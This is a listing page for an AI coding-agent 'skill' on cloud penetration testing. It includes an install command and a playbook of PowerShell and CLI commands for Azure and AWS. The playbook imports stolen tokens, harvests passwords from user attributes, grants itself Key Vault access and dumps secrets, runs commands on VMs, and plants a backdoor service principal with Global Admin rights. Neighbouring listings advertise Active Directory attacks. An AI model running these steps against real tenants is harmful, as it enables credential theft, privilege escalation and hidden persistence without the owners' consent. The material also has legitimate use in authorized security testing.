academic-paper-reviewe…
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with…
This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud
$ npx -y skills add zebbern/claude-code-guide --skill cloud-penetration-testing --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/cloud-penetration-testingContext preview
The summary Claude sees to decide when to auto-load this skill.
This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud
name: cloud-penetration-testing description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms. metadata: author: zebbern version: "1.1"
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
# Azure tools Install-Module -Name Az -AllowClobber -Force Install-Module -Name MSOnline -Force Install-Module -Name AzureAD -Force # AWS CLI curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip && sudo ./aws/install # GCP CLI curl https://sdk.cloud.google.com | bash gcloud init # Additional tools pip install scoutsuite pacu
1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings 2. **Resource Inventory** - Enumerated services, storage, and compute instances 3. **Credential Findings** - Exposed secrets, keys, and misconfigurations 4. **Remediation Recommendations** - Hardening guidance per platform
Gather initial information about target cloud presence:
# Azure: Get federation info curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1" # Azure: Get Tenant ID curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" # Enumerate cloud resources by company name python3 cloud_enum.py -k targetcompany # Check IP against cloud providers cat ips.txt | python3 ip2provider.py
Authenticate to Azure environments:
# Az PowerShell Module Import-Module Az Connect-AzAccount # With credentials (may bypass MFA) $credential = Get-Credential Connect-AzAccount -Credential $credential # Import stolen context Import-AzContext -Profile 'C:\Temp\StolenToken.json' # Export context for persistence Save-AzContext -Path C:\Temp\AzureAccessToken.json # MSOnline Module Import-Module MSOnline Connect-MsolService
Discover Azure resources and permissions:
# List contexts and subscriptions Get-AzContext -ListAvailable Get-AzSubscription # Current user role assignments Get-AzRoleAssignment # List resources Get-AzResource Get-AzResourceGroup # Storage accounts Get-AzStorageAccount # Web applications Get-AzWebApp # SQL Servers and databases Get-AzSQLServer Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG # Virtual machines Get-AzVM $vm = Get-AzVM -Name "VMName" $vm.OSProfile # List all users Get-MSolUser -All # List all groups Get-MSolGroup -All # Global Admins Get-MsolRole -RoleName "Company Administrator" Get-MSolGroupMember -GroupObjectId $GUID # Service Principals Get-MsolServicePrincipal
Exploit Azure misconfigurations:
# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
$props = @()
$user | Get-Member | foreach-object{$props+=$_.Name}
foreach($prop in $props){
if($user.$prop -like "*password*"){
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
}
}
}
# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
# Extract VM UserData
$vms = Get-AzVM
$vms.UserData
# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>Establish persistence in Azure:
# Create backdoor service principal $spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret) $UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) # Add service principal to Global Admin $sp = Get-MsolServicePrincipal -AppPrincipalId <AppID> $role = Get-MsolRole -RoleName "Company Administrator" Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId # Login as service principal $cred = Get-Credential # AppID as username, secret as password Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal # Create new admin user via CLI az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
Authenticate to AWS environments:
# Configure AWS CLI aws configure # Enter: Access Key ID, Secret Access Key, Region, Output format # Use specific profile aws configure --profile target # Test credentials aws sts get-caller-identity
Discover AWS resources:
# Account information aws sts get-caller-identity aws iam list-users aws iam list-roles # S3 Buckets aws s3 ls aws s3 ls s3://bucket-name/ aws s3 sync s3://bucket-name ./local-dir
Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user!
Repo: zebbern/claude-code-guide
Simulates academic peer review, evaluating papers across Originality, Methodology, Results, and Writing to provide Major/Minor Revision recommendations with…
This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration",…
This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API…
Generate multiple radically different interface designs for a module using parallel sub-agents. Use when user wants to design an API, explore interface…
Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance…
Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use…